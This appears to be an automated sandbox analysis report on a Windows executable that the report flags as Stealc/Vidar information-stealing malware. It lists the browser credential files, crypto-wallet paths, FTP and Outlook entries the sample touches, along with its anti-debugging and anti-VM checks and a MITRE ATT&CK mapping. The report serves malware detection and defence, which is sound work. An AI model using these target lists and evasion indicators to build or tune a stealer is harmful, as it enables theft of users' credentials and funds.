Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005C4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_005BDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_005BE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_005BBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005B16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005BF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_005C3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005C38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_005C4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_005BED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005BDE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005B1160 GetSystemInfo,ExitProcess,

0_2_005B1160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareG
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.1933172412.0000000000CA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14675
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13485
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13500
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13508
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13488
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13540

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005B45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_005B45C0

Source: C:\Users\user\Desktop\file.exe

0_2_005C9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005C9750 mov eax, dword ptr fs:[00000030h]

0_2_005C9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005C7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_005C7850

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6836, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005C9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_005C9600

Source: file.exe, file.exe, 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: \s3Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_005C7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005C6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_005C6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005C7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_005C7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005C7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_005C7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1705858455.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6836, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6836, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe, 00000000.00000002.1933172412.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: 0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.loca
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1933172412.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.i

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6836, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.5b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1705858455.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1933172412.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6836, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6836, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
